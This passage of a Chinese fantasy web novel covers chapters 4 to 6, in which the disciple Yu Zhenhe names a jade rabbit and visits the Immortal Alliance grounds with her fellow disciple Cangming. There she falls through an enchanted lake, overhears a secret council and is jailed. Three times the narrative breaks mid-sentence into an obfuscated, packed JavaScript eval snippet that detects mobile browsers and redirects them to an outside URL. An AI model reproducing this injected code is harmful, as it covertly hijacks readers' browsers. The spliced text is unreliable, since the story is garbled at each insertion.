鱼枕荷小心翼翼接过小兔,小兔尤其乖巧,她觉得自己抱的姿势很别扭,小兔却是一点没挣扎,就这么窝在她怀里。 “是广寒宫进奉天庭的玉兔,圣上没有余力养,随手便送给我了。”荀九卿垂眸,三指揪住鱼枕荷怀中小兔的后脖颈,将它往外扯了扯,免得闷了过去,“朝中事重,师父短了陪你的时间,之后便叫它代劳可好?若还觉得闷,你也可以搬回斋舍与其他内门弟子同住。” 鱼枕荷当即摇头:“不闷、一点也不闷!徒儿一切安好,师父不必挂心!” 闻言,荀九卿眉目蕴笑,道:“想好名字了么?” 名字? 鱼枕荷微一怔愣,反应过来后又低头看向怀里的小兔。 是小兔的名字啊。 小兔、小兔,广寒宫的小玉兔,倒不如随她姓好了。 姓鱼……鱼、兔,鱼兔? 鱼枕荷脑中灵光闪过。她嘿嘿一笑,又是抽出手来在小兔的毛脑袋上挼了挼,道:“那就叫你小鱼兔好不好?小鱼兔!” 从此以后,无常关般若峰不只有鱼儿,还有小鱼兔! “小鱼兔……?”荀九卿亦是稍有愣住,但种种思绪很快便化作一声轻笑。 这只小兔的新名字,似乎与原先在三十三重天时众仙对它的称呼无甚差别。 4. 苍溟师兄 安逸的时光总是眨眼就过,还有七日便是无常关年中考核,此外,距离仙盟群英会也只剩下不到两个月的时间。两大要事堆在一起,全宗门的弟子忙成一锅粥,鱼枕荷亦不例外。 她原以为不用替师兄师姐写功课会清闲很多,却没想此事过后,他们忽然又努力过了头,这一回围过来寻她,竟是要她给他们私下开小灶。 门生好学,长老们自然乐见,故而哪怕一群小鸡崽子成日追着鱼枕荷满山跑,期间也无一人出言阻拦。 般若峰有荀九卿坐镇,平常时候不会有门生擅闯,前段时间鱼枕荷还频频不回般若峰,现在却是往峰上一躲就躲大半天。 事实上,荀九卿从未禁止过宗门弟子上来寻他,他也乐得在大事小事上都出份力,但不晓得是他近些年在无常关露面的时间太少,还是门派内你来我往的各种传言,或者往好处想了,是担心影响到他的公务,总之除了鱼枕荷喜欢从般若峰的一殿晃到另一楼,再从这一楼晃到后一阁,其余时间里基本无人会主动来寻荀九卿。 这下倒是轮到荀九卿推着鱼枕荷往外走了。他叩门,寻鱼儿用晌饭,席间给她夹了一个鹌鹑蛋,随意问道:“从前便见你喜爱给同门讲学,如今怎得怯场了?” 鱼枕荷抬眸,对案的荀九卿正疑惑看她。只是这状似毫不介意的饭间闲谈,她却心觉师父有试探她的意味。 从前两个人在饭桌上闲聊,聊到有意思的就收不住笑,有一回就叫鱼枕荷将米饭呛进气管了,险些活鱼变死鱼惨死当场,把荀九卿吓了个不轻。 后来荀九卿便不太爱主动在饭桌上开口,至多听她说话,然后点点头摇摇头。 她原以为两个月的时间足以打消九卿师父的疑虑,但如此看来,师父仍是对她有所猜忌,且她摸不透这份猜忌与信任各自占据几分。 “我就是喜欢讲,也经不住天天讲呀。”鱼枕荷答道,“而且很多功法术诀我自己记得也不熟练,要是教错了,我要背的责任可就大了。” 这并非是谎话。鱼枕荷懂得言多必失,少说慎言的道理,她每日记的东西多了,上天文下地理杂七杂八的都存在同一颗脑袋里,难免混淆,要是叫人觉出奇怪了委实捞不着好。 不过…… 鱼枕荷脑中灵光乍现。 既然单纯的说话容易出纰漏,那不如事先将可以教给同僚应对考核的那些个功法整理编纂到一处,他们需要时便自行翻看,实在看不懂了再来问她也好。 一念及此,鱼枕荷匆匆扒拉两口饭,与师父相辞。 “师父你慢吃,徒儿告退!” 鱼枕荷飞快跑回无相殿。食案前只剩下荀九卿一人,他看看鱼枕荷跑走的方向,又转回头,看看从人间买回来的煎鹌子。 都说煎鹌子好吃,他买了一盒,结果剩了大半盒,味道也不过如此。 鱼枕荷这么一跑,又是足足半天没有再出房门。 案几上堆放好几卷玉简,鱼枕荷对应着无常关考核要求,一条一条仔仔细细地写下适配的功法,又怕很多符文太过生僻,便在每一条复杂符文边上都批注几条作用相似的简单符文。 “鱼儿师妹,你这样可不行。” 忽然传出的声音把鱼枕荷吓了一跳,她转头,身后寝房的门扉还紧关着,声音是从西窗外传进来的。 鱼枕荷搁下墨笔,上前去卷起琉璃珠帘,推开窗。 窗外是个同样衣着无常关宗门袍的青年。样貌不算出众,丢在人堆里不容易被注意到,但单拎出来也清雅。长发以孔雀绿的发带盘束,衣袍浅淡却在左耳下坠了颗垂落朱红流苏的铜钱耳坠,像是一泓清水里落了瓣沾染佛堂金粉的红梅,徒添几分妖冶。 “苍溟师兄!” 好吧,其实也不是没人来般若峰,苍溟就是那唯一中的唯一。 无常关从来以入门顺序排辈份,苍溟与鱼枕荷同一届拜师,两人算同辈,但苍溟胜在见多识广,知晓很多传不到九重天的奇闻怪谈,外加上他实际也比鱼枕荷年长个三岁,因而鱼枕荷喜欢喊他师兄。 苍溟师承闫二长老,只承了对方一手好墨笔,又是痴迷各种戏文,却似乎天生不善习武,不论闫楚怎么凶都回回考核吊车尾,不过笔试的高分能硬生生将他扯到名次中游。 最初的时候,苍溟是上山来向荀九卿请教剑术,后来他不找荀九卿了,改找鱼枕荷,说是看荀宗师在三十三重天和九重天两头跑已经很忙了,不想再给他增添负担。 面对苍溟师兄的请教,鱼枕荷一再推脱,可回回都被对方以“闫二师父好可怕我连住都不敢跟他住一起更不敢主动找他”“剑宗之人怎能不会剑”“其他同僚嫌我学得慢学得烂不愿意教”等等的理由堵了回去,她只得用自己的三脚猫功夫教苍溟这个连三脚猫功夫都没有的人。 鱼枕荷低头看苍溟师兄的手,却发现他两手空空,并没有带剑来,疑惑问道:“不是练剑吗?剑呢?” 苍溟笑笑:“听我说完。” 于是鱼枕荷不作声,静等师兄下言。 苍溟道:“你便是太纵着那些个这届上届的师兄师姐了,他们叫你帮写功课,你就真的写,他们叫你整理偷懒应对考核的功法,你就真的给他们整理,你什么都不拒绝,是把自己当成菩萨了吗?” 不知怎的,鱼枕荷竟从苍溟这个同辈人的口吻中听出了说教的语气,她直勾勾盯着苍溟,随即歪头笑道:“我拒绝过呀,是谁说只有我能教他习剑了的?” 苍溟反应过来鱼枕荷弦外之音,也不气恼,只是屈指弹了一下鱼枕荷的脑门。鱼枕荷捂住额头“啊”了一声,便听他继续道:“这不一样,我那是没得选了,他们呢?他们自己平时散漫,到了考试还指望抱你佛脚了。” 鱼枕荷放下手,道:“那怎么办呀,我答应帮忙的话都说出去了,总不能失信吧?” 苍溟道:“你别管这件事了,我平时有自学功法咒诀的习惯,到时候把录册带给你,你就说是你这几天整理的,应付过去得了。”顿了顿,他复又言道,“反正我看你也不想回主峰,成日待在这般若峰上也无聊,不若我带你下山避一避,等年中考核那天再回来?” “唔?”鱼枕荷惊于苍溟师兄这段一波三折的话语,还是弯眼笑道,“我不无聊呀,有师父陪着我呢。” 苍溟道:“荀宗师?你是这样想的么?” 鱼枕荷道:“怎么了,有问题吗?” “荀宗师回宗的时间越来越短了吧?”苍溟说道,“魔域动荡,边境战乱,尤其是西极虞渊还少了个上将,全靠大将军撑着。天庭对外说的是修养,可看这天下汹汹,边关告急,宫上将却迟迟不回虞渊,估计是有什么其他原因,导致她回不去了。想你也知道,武将血杀气重,最容易失控。”他望着鱼枕荷,方才还轻松含笑的眉目忽然变得正色,“你是荀宗师的徒弟,荀宗师却不仅仅是你的师父,他都能长时间将你晾在无常关不管了,你有没有想过,哪一天他就不回来了?” 不回来了…… 鱼枕荷瞳孔微颤,心底浮现的惶恐不安想压也压不下去。 她找不出半点苍溟师兄话里的不对。或许是从前时常被九卿师父带上天庭的缘故,让鱼枕荷误以为九重天与三十三重天其实并没有那么远,可经过这两个月,她才逐渐意识到,没了九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296654|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卿师父带她堂堂正正上去仙域,她根本便只有三更半夜偷偷跑上去的份。 何况,师父怕是再也不会带她去三十三重天了。 鱼枕荷嗫嚅半天,最终只吐出一句:“师父将来是要做掌门的。” “他要想拒绝,岂不就是一句话的事?”苍溟道,“无常关大大小小的事务都要先经荀宗师之手才会布告,任谁都可以看得出来,姜掌门早就想将掌门之位传给荀宗师了,可这事却一直拖着,消息也压在门派内部不让外泄,为什么呢?是这些年择不到举办继任典礼的良辰吉日吗?” “要让荀宗师在九重天和三十三重天二择一,鱼儿师妹觉得他会如何选?” “不要问我了!我不知道!”鱼枕荷打断他的话,两只手扒住窗扉,“你练不练剑?不练我走了!” “练!练!” 鱼枕荷关窗的手被苍溟抓住一边,她甩开手,转身离开房间。从无相殿走出的时候,苍溟已然站在殿门外等她。 院内,紫藤树下摆着一柄用紫藤花缠成的剑,剑柄和剑身都是花藤,没有刃,是鱼枕荷平日练习所用。 原是荀九卿说鱼枕荷的剑太急于求成,步步锋利,用于练习反而会适得其反,他便折紫藤绕于树枝,给她缠了一柄这样式的剑,敛了利刃。 由于鱼枕荷怕剑上花瓣被震得掉秃,习剑时竟然真的心缓下来,招式变换也都更加稳当。只不过自那之后,她再没用过一柄像样的剑。 鱼枕荷还在生苍溟师兄的气,苍溟没带剑,她就将紫藤剑抛给他,自己往树干前一倚,道:“你练吧,我看着。” 苍溟提起紫藤剑,来回翻转着欣赏一番,说道:“荀宗师对你可真上心,这紫藤缠得好看,我喜欢许久了,却是没机会摸上一摸。” “你到底练不练?再不练我真走了啊。”鱼枕荷催促道。 苍溟无奈,提剑将今日学的剑式打了一遍。 论耍剑,苍溟远比鱼枕荷“粗暴”得多,幅度大、劲道大,脚下步法牵动腰肢扭转,再挥剑划过半弧,猛地朝下劈砍,裹挟着一种在台上表演般的夸张。 虽是好看了,气势也充足,但鱼枕荷都为了防止花瓣落下,一招一式刻意谨慎,如今换成苍溟,三两下便甩落连片的紫藤花瓣。 朱红流苏晃动,花瓣簌簌坠落,鱼枕荷微微皱了皱眉头,但还是认真指点起苍溟剑式中的问题。 这一瞬间的恼色被苍溟收入眼底,听着鱼枕荷的点评,他识趣收起紫藤剑来,没再继续打。只是这翻腕收剑,又震落了好几瓣紫藤叶。 “不打了,师兄带你下山去玩。”他上前牵住鱼枕荷的手,带她走出树荫。 鱼枕荷被他拉着往前走:“去哪儿?” “到了便知晓了。” 经过兰因殿,荀九卿恰好推门而出,一眼便看见手牵着手的二人。 鱼枕荷一个激灵,下意识抽出被苍溟拉着的手。分明是堂堂正正的同窗,她这一反应,倒像是多了层别的关系。苍溟却是从容,不疾不徐地朝荀九卿行过弟子礼。 荀九卿只平淡瞥他一眼,视线便落到鱼枕荷身上,言道:“天色不早了,这是要去哪里?” 去哪里?又是同样的问题,鱼枕荷回答不上来。 她不知道欸。旁边这个人什么也不告诉她,就说要带她下山玩。 鱼枕荷也想听听苍溟的回答,可抢在苍溟开口前的,却是荀九卿的一声轻叹:“罢了,早些回来。” 欸? 听九卿师父这般说,鱼枕荷内心不解更甚。 这便不过问了吗?她还不知道苍溟师兄要带她去哪儿呢…… 5. 观心湖 天色渐晚,苍溟带着鱼枕荷来到一处流光飞舞的五色晶石门前。 鱼枕荷看见苍溟向前走了一步。抬手覆在石门中心的圆形镂刻纹样上。半晌,自他手心开始弥散出丝丝缕缕的银白光亮,如游丝般逐渐填满圆形纹样的凹槽,再往石门的四面八方蔓延。 银白浮光照亮苍溟的半边脸颊,给他镀上一层柔和的光晕,格外增添了几分儒雅气质。 闻见耳边传来轰隆响声,苍溟收手,原本严丝合缝的两扇晶石门便缓慢从中间朝两侧打开,直至石缝达到可容两人通过的宽度,这才停止挪移。 鱼枕荷探头往里看,可两扇门之间充溢着五彩柔光,肉眼根本看不清门后是如何景象。她不禁疑惑道:“这是哪儿?” 苍溟道:“万法仙盟本营。群英会场域。” 没等鱼枕荷多问,苍溟自顾自走进石门,随后身影瞬间被门扉间的光晕所笼罩,消失得无影无踪。 “欸?”鱼枕荷一惊,飞快跟着跑进石门,“等等我呀!” 穿过五彩柔光,映入眼帘的是连片的白玉宫殿,殿外九曲长廊,廊柱都由金石精雕玉琢成各种神兽纹样。亭台楼阁,飞檐下坠了铁马,微风拂过便清脆作响,风铃声在这广阔而静谧的场域显得空灵婉转。此刻各座大殿的里里外外都已经点亮宫灯,暖黄火光相互映衬,点点流萤漫天飞舞,非是仙域、胜似仙域。 庭院无人,八方都栽了许多树,垂丝海棠、梨花、山桃花……白里透粉、粉中含紫,清香十里。 一路上未看见任何人,鱼枕荷不晓得苍溟师兄为何知道群英会场域可以提前进入,问了他也不说。她走在苍溟身后,跟着他穿过大大小小的宫殿,来到一片巨大的空地。 此处的地砖由汉白玉铺陈,最中央是一座高台,高台相对的两侧摆放等身高的擂鼓,是群英会的试剑台。层层往上的圆环形座席环绕汉白玉高台,场域之广阔,足以容下所有有头有脸的修仙大宗派。 苍溟未有停驻多久,径直穿过看台座席,继续往前面的道路走。 鱼枕荷像苍溟的小尾巴一样,亦步亦趋跟着他的脚步,偶尔停下赏赏花、观观景,又很快追上他。两人一前一后穿过月洞门,来到比试场域后的一方庭院。 苍溟还在继续朝前走,走到一处时,鱼枕荷骤然伸手拉住他的衣袖。他回首,对鱼枕荷温尔一笑,紧接着便直接踏上了池塘的碧波清水。经年习戏的身姿轻盈,袍袖翻飞,宛若灵蝶蹁跹。 奇异的是,苍溟分明踩在了水上,却是没有陷下去,整个人便踏在池水上。若非几日前水上御剑,鱼枕荷才亲眼见过苍溟掉入泉水呛个半死,她还要以为他学会轻功水上漂了。 见苍溟翩翩浮水,鱼枕荷也试探着往池水上踩。方踏出右脚,鱼枕荷还把身体重心压在还踩于实地的左脚上。池面荡起悠悠清波,彼时鱼枕荷才惊觉,她竟然看不见自己在水中的倒影,取而代之的,是水中浮起一朵洁白的莲花,不可触碰、却是虚影。 鱼枕荷只觉脚下的触感很奇怪,不似实地,却也没有寻常水面那般要陷下去的感觉。有了苍溟师兄打头阵,她终于踏出第二步,整个人落在池水上。 安然无事。 鱼枕荷彻底安下心来,就着新奇劲,哒哒哒在水面上跑来跑去,惊动的碧波都要赶不上她的脚步。 她每踏出一步,就有一朵白莲自水面盛开,婷婷袅袅。有蝴蝶因莲而来,轻点水面,白莲却俶尔消散,一如镜花水月。 鱼枕荷蹲下来,双手掬起一捧水,看着清凉池水从她指缝间一点一点流逝,仍旧看不见自己的倒影。 “还生气吗?” 不远处,苍溟忽然开口问道。 鱼枕荷抬头,微愣半晌才反应过来。 似乎不到一炷香以前,她还在因为苍溟师兄那些分明是实话实说的言语而置气。 鱼枕荷站起身,没有因着苍溟的话头继续说下去,而是问道:“这片池塘……是怎么回事?” “这是观心湖的水。”苍溟说道。 观心湖…… 鱼枕荷又往前走,步步生莲。观心吗?她不晓得自己与莲花有什么相连之处。她不由望向苍溟脚下,苍溟配合地走两步,可水面唯是清波荡漾,全然没有其他。 苍溟笑笑:“观心观心,观的自然是自己的心,而非旁人。” 他这么一解释,鱼枕荷便明白了,但也禁不住对苍溟师兄的心湖生出好奇。 这里似乎还不是苍溟的目的地,他转过身,往池塘的对岸走。鱼枕荷又是在这能结出白莲的池水上来回转了几圈,然后才匆忙跑上前。 只是方才跑出三两步,鱼枕荷忽觉得脚下水面的触感又变得奇怪,她低头,水面上是她的倒影,一如寻常池水,那朵朵盛开的白莲花早已消失不见。 鱼枕荷正疑惑着,蓦地脚下一空,还未来得及喊出声,整个人便掉入池水之中。 分明是池塘,远观上去水也不深,甚至可以看见池底的石子和游鱼,可如今这水却像无底洞般,鱼枕荷往下坠了许久,依旧没有坠落到尽头。 鱼枕荷原本便水性不好,一连呛了好几口水才堪堪捻起避水诀,沥干身上的水。不知是她不会水还是别的缘故,亦或二者皆有,她使劲往上游,却无论如何也游不上去,就像是隐隐之中有一股力量在将她强行往水下拉扯。 避水诀还在持续消耗法力,鱼枕荷游水游得精疲力竭,为避免咒诀消散而潜水淹死,她索性便松懈下来,任由自己往下坠落。 她仰身,眼看着水面离自己越来越远,周围是潜游的鱼群,红的黄的白的……有小鱼环绕她转悠,似乎是不理解鱼枕荷这个本该生活在地面的人族为什么会出现在水里。水中的气泡触上鱼枕荷的衣袂,当即破裂开,重新融入池水。 约莫过去了半盏茶时间,鱼枕荷忽然觉得身体下坠的速度越来越快,相对的、失重的感觉也愈来愈强烈,阵阵眩晕席卷而来。 就在鱼枕荷以为自己要晕死过去的时候,周身的池水却在须臾间消失,让鱼枕荷“啪叽”一下摔到坚硬的地面上。 好在有池水做缓冲,不至于让高空坠落的鱼枕荷摔个粉身碎骨。她在地上趴了一小会儿,而后便忍着浑身疼痛站起身来。 她的两只手臂和膝盖都被磨破了一层皮肉,殷红鲜血蹭到汉白玉地砖上,格外刺目。 这里貌似是个暗室,没有外头的绚烂灯火,唯有壁上的长明灯闪烁光亮。鱼枕荷抬头看,天花板同样是坚硬的汉白玉,方才叫她沉在里面很久很久的池水像是完全没有存在过。 迷迷糊糊地,鱼枕荷低头往身上看了看。 分明是从水里摔了出来,但衣服竟然是干的…… “咳、咳……” 这是……什么感觉……? 鱼枕荷只觉身体忽地一阵麻痛,但找不出具体位置,像是由里而外,扩散至四肢百骸。 缓过神,她似乎听到有人的交谈声,从长廊的另一端传出。她回头看,身后是死路。她只好往传来人声的方向缓步而去。 “十三年前那场变故……他们莫非真的已经知晓了?那、既然如此,我们仙门岂不危如累卵……” “当真是好手段!够阴狠!仙魔两域鏖战久,那厮却是忽然诈死不见,说他是改名换姓潜入哪方仙门了,宗门内部如何不人人自危?人心不齐,他们魔域要攻,岂不一攻击破!” “如今这般,我们守也不是,不守也不是。他李季川想要刺探我们八方阵法,我们加固守护,无疑是把阵法摊出来给他看,可若我们一如往常,只怕是神不知鬼不觉、什么时候被蚕食干净了都发觉不了!” 争吵声一道比一道响亮,通通传入鱼枕荷耳中。她原不想偷听,只是苦于找不到回到池塘上面的去路。此刻她藏在石柱后面,小心翼翼地探头往里边看。 内室坐满各宗派德高望重的长老,许多鱼枕荷不曾见过,却能依着话本中的描述猜出个大概。 “让荀九卿一人守阵?你们疯了吗!真当他无所不能了?就算他有东皇钟,他又能抗住上古神器的反噬几次?!” “否则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296655|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何?直接向三十三重天宣告我们万法仙盟的无能吗?既然他们已经什么都知道了,如今最有利的神器在荀九卿手上,他来守阵岂不最最稳妥?” 石柱后,鱼枕荷听得犯懵。 十三年前的变故……魔域首领李季川……? 还有……九卿师父?东皇钟?上古传说里的那个东皇钟? 她身体内的麻痛又开始隐隐作祟,异样感往上溢散,仿佛在鱼枕荷的喉间扎了根细针。 见势不妙,鱼枕荷赶紧捂住嘴巴,飞快想要往回跑,却还是禁不住弯腰闷咳了两声。 “咳……咳……” 糟了! 鱼枕荷心道不好。 “谁?!” 暗室外的咳嗽声惊动一众长老,争论声戛然而止。 鱼枕荷下意识往后跑了两步,却猛然想起后头是死路,跑也跑不掉,跑了更可疑,她于是刹住脚步,转头看向已然来到长廊的零散几位长老。 “何人如此大胆,竟敢擅闯仙盟密地!” 长老们先后跨出门槛,提刀的提刀、拔剑的拔剑,但在看见立于原地不动的鱼枕荷后皆是微一怔愣。 “怎么是个小丫头?”其中一位束了灵蛇髻的女长老歪歪头,疑惑道。 在她身旁,另一位横眉立目的长须年迈长老则没有这么好说话。他乜了鱼枕荷一眼,厉色道:“鬼鬼祟祟,是来做甚?” 鱼枕荷抬手抱拳,恭恭敬敬对着长老们施过礼数,末了启唇言道:“误闯仙盟密地实乃晚辈之过错,晚辈无意叨扰,只是实在寻不到回去地上的路,兜兜转转才循声来到这处。” 领头的长老皱眉:“你说你找不到回去的路,那你是如何进入此地的?” “我……”鱼枕荷心中斟酌一番,还是如实回答道,“我原是在观心湖上走,那方水面能够承着我,可后来不知道踩到了哪处,观心湖的水忽然就变得与寻常池水别无二致,我一不小心就掉了下去,然后……然后就掉到这里来了。” “观心湖?”女长老古怪道,“能从观心湖上失足掉下去,那还真是前无古人、后无来者。何况此处并不与那观心湖相连,你要掉到哪里不好,怎么偏偏就掉到这处来了,当真是巧合。”她侧头,看向身旁的长须长老,“应长老,你说这丫头说的是实话吗?” 应长老皱眉:“不管是不是实话,她听到了不该听的东西,你我便断不能如此轻易便放她走了。” 又款款走出一个哭笑鬼面具遮住样貌的年轻仙人,偏头扫过鱼枕荷身上的宗门袍,说道:“看这丫头的穿着似乎是无常关的人,当今情形,应长老确定要将她扣押下来?要是把那个在天庭当官的给惹恼了,仙盟还如何与无常关谈条件?” 应长老说道:“那如何?无常关弟子擅闯仙盟密地,要辩也是他们理亏。”他看向从被发现后就一动未动的小丫头,眸色尤为深沉,“只是另有话谈,那魔头诈死不见,估计早便遣人混进了仙门。” 哭笑鬼尾音上挑“哦”了一声,饶有兴趣地眺看着鱼枕荷:“她?不像啊。” 女长老道:“我也觉得不像。” 另外还有长老口舌各一,应长老则是一锤定音:“是与不是你们岂能看得出来?就如此罢,先关她个几日,看看率先找来的是无常关的人,还是魔域的人。若是这两头都没有人来寻她,那她就是死在牢里也无足轻重。” 鱼枕荷闻声吓得一震。此时已经有长老施诀,在她周身结成了转移法术,她着忙解释道: “我和大魔头李季川没有关系!我是无常关剑宗第二百一十五届第七十三代亲传弟子鱼枕荷,荀宗师……三十三重天首席提刑官荀提刑是我师父!天地可鉴,今天这一切当真只是一场误会!” 哭笑鬼扑哧一笑:“荀宗师啊,好、我相信你。既然是荀宗师的徒弟,想必他一定会赶来救你的,你且安心去吧。”言罢,他又施施然朝鱼枕荷挥两下手,算作告别。 转移法术顷刻生效,银蓝光晕乍现,瞬间就裹挟着咒符内的鱼枕荷一同消失得无影无踪。 6. 地牢 观心湖上,苍溟许久未听见身后的人儿传出动静,以为是她又玩得不亦乐乎了。他笑转过头,留给他的却仅剩一汪静谧无波的池塘水。 不久前还蹦来跳去的鱼儿师妹竟然不翼而飞,连半个人影都没留下。 “鱼儿师妹?鱼儿?” 苍溟往回走了几步路,东探探、西看看,一无所获。 他觉得奇怪,于是倒退回去,再次穿过月洞门,在先前经过的各座大殿小殿里里外外踩了一遍点,结果还是寻不着人。 鱼枕荷就像是人间蒸发了般。 他心中预感不妙,第三回折返月洞门,踏上观心湖后三步并两步跑上岸,而后便飞快朝东南方位奔去。 一面漆黑、暗红纹路的玉石壁挡住苍溟的去路,苍溟低头,眸光扫过石壁下几颗看似随意摆放的石子。他抬手,手指微勾,石子便顺应着他纷然挪位,直至摆出一个卦阵。 最后一颗石子落到该处的位置,玉石壁上暗红的纹路霎时间烁动鎏金光芒。苍溟径直往前走,直接从石壁中穿了过去。在他入内后,石壁再度恢复黯淡。 石壁后是一条向下的汉白玉长廊,苍溟每一步都走得小心,没有发出一丝一毫的声音。 廊道极长,每两到三个拐角就会出现死路,但熟练在回阆中穿行之人并没有原路返回,他要么触墙,要么踩地,要么往天花板上扔石子,原本堵死的石壁便会徐缓上升,让出一条崭新的道路。 过不了一刻钟时间,苍溟便寻到了先前鱼枕荷与诸位长老相撞时所在的暗室。 他藏在门扉后听了小半会儿,里头讨论的无非就是仙域与魔域打来打去,仙门要加大守护力度的那些事。 传闻大荒境内有八荒阵法,自上古第三代商朝延绵至今,世世代代由名望深远的大仙门驻守,至于镇守的是什么,从来无人知晓,就连那些守阵的仙门也一无所知,只知道如今魔域对八方阵眼虎视眈眈。 既是魔域要争抢的物事,不论孰轻孰重、有或无有,诸派仙门都势必要守护八荒阵法不破。 当世名头最响的,莫过于仙家的三门五宗,其中有的宗门建在天上,有的建在人间,没有高低贵贱之分,只是前者责在守护仙域安宁,后者责在驻守人间城池。 除却无常关不爱凑热闹外,另外的两大门派——荒神楼、七窍阁,以及荒神楼东宗、西宗,还有另外的太虚宗、醒心宗、鬼面宗三大独立宗派,这两门五宗外加上其他些个大小宗派和修仙世家自发成立了万法仙盟,不时便要流火传信,召开各类会议,后来还联合敲定了个叫仙盟群英会的赛事,每隔十几年就要举办一回。 但不论如何,仙盟的事与苍溟没有关系。此地机关重重、道路偏僻,想来鱼儿师妹不可能出现在这里。 经一番找寻无果,苍溟没有多做停留,转身就从另一重机关道路离开暗室,一路回去了无常关。 他与鱼枕荷离开时将近定昏,眼下回门已是亥正时分。主峰悄无人息,长老们各回各殿,门生也都回去了弟子斋舍,仅四方山门各留有两位侍卫驻守。 苍溟先是溜上了般若峰,刻意避开荀九卿的兰因殿,在其余各座殿都晃悠了一圈,依旧没有看见鱼枕荷的踪影,他这才又回去主峰。 “回来得这般晚,是去哪处了?” 柔和如玉的女子声音从苍溟身后传来,他回头,身后是位身形姣姣的女修。 女修梳了惊鹊髻,未戴其他多余冗杂的配饰,只发丝间一对点翠掩鬓如花点睛。此时她未施粉妆,貌相温婉清美,姿态出尘,盈盈若静香玉兰。 苍溟眼眸弯起,对眼前女修行过一礼,道:“兰若师姐晚好。晚辈只是闲得无聊下山闲逛,一不留神忘了时辰。师姐呢?怎的还未回寝?” 正所谓师兄轮流做,今年到我家,不论宗门内如何排辈,大师兄和大师姐的美称却从来由综合实力最强的那位担任。无常关的大师兄换来换去,几乎每过一轮年中、年末考核就要换一位,而大师姐的名讳,自夜兰若五年前入门以来就只有她一人担着,可见其文武双全、无人可敌。 夜兰若笑盈盈走上前,于柳树前的长椅坐下,道:“我来赏月。”她抬起头,夜空中悬挂素白明月。此时距离中秋还很远,可身处九重天,她总能看见圆如玉盘的月亮。 苍溟随之坐上长椅,也仰头望向苍穹,毫不经意地问道:“师姐,你看见鱼儿师妹了吗?” “鱼儿?”夜兰若面露疑惑,“她不在般若峰吗?” 苍溟摇摇头:“不在,我去寻过她了。” 夜兰若又道:“会不会是随荀宗师上仙域暂住了?” “兰因殿的烛灯亮着。”苍溟说道。 “这就奇怪了……”夜兰若低声喃喃道。她思忖半晌,末了朝苍溟温柔一笑,“无事的,这里是九重天,诸派仙宗鼎立,鱼儿又是懂事的性子,必然不会叫你我担忧。” 听夜兰若一番话,苍溟于是微微颔首,沉吟道:“但愿如此。” 只是鱼儿小师妹莫名其妙失踪了,若她明日还不回宗,后日还不回宗,荀宗师追问起来,他都不知道该如何回答,难不成说他带小师妹出门一次就直接把人给带丢了?荀宗师听完,怕是非要让苍溟给他那一去不复返的爱徒陪葬不可。 …… 此时此刻,般若峰、兰因殿。 亥时,已然是到了荀九卿平常休憩的时间,但他在殿内踱步来踱步去,却怎么样都安不下心来。 他在殿门前停下脚步,推开门扉,偌大一座峰上夜阑人静。 正值榴花之月,然而九重天上的仲夏并不炎热,夜晚微风徐徐,夹杂着藤萝清香吹进寝殿。 荀九卿事先提醒过鱼枕荷时候不早了,叫她尽快回来,虽说不指望鱼枕荷真的出去一刻钟不到就立马赶回来,可这都亥时四刻了,这跑出去的二人叫他连个影子都没见着。 苍溟回来了么?荀九卿心中疑问。 如若他回来了,鱼枕荷没回来,他这个当师兄的怎么就能够把他那尚不懂事的同门师妹一个人丢在外面不管? 如果他没回来,九重天也没有夜市小街这种地方,眼下三更半夜的,他们又在外面逛些什么? 也并非是担心出什么事,只是总有种不太好的预感…… 一时间,荀九卿思绪有些混乱。他两指拧了拧眉,觉得自己大抵是该歇会儿了。 …… 另一头,群英会场域。 传送阵法一晃一闪,顷刻间就把鱼枕荷扔进了一间三面泥石封堵,一面铁栅栏,光线极其昏暗还有些潮湿的牢房。 鱼枕荷双手抓住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296656|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁杆,也不管到底有没有人听得到,就开始反反复复地喊冤。 她当真没想到,有朝一日仙盟竟真的能将她和人人闻风丧胆的魔域之首李季川扯上关系。按常理而言,她只是个仙门的小弟子,要是和李季川碰上面了,人家大魔头估计连看都不屑于看她一眼…… 喊冤喊了大半天,无人回应。 鱼枕荷往周围的三堵石墙敲敲打打,顺带往地面也拍了拍。都是实心的,实得很彻底,想凿洞逃出去根本不可能。 她彻底蔫儿下来,一侧脸颊贴着冰凉的铁杆,活像一条搁浅等死的鱼。 “九卿师父……苍溟师兄……”鱼枕荷自言自语、嘀嘀咕咕,“你们什么时候才能来救我啊……不会找不到我吧……” 此处似乎是在地下,空气闷热,连扇窗户都没有,让鱼枕荷完全失去了对外界时间的感知。 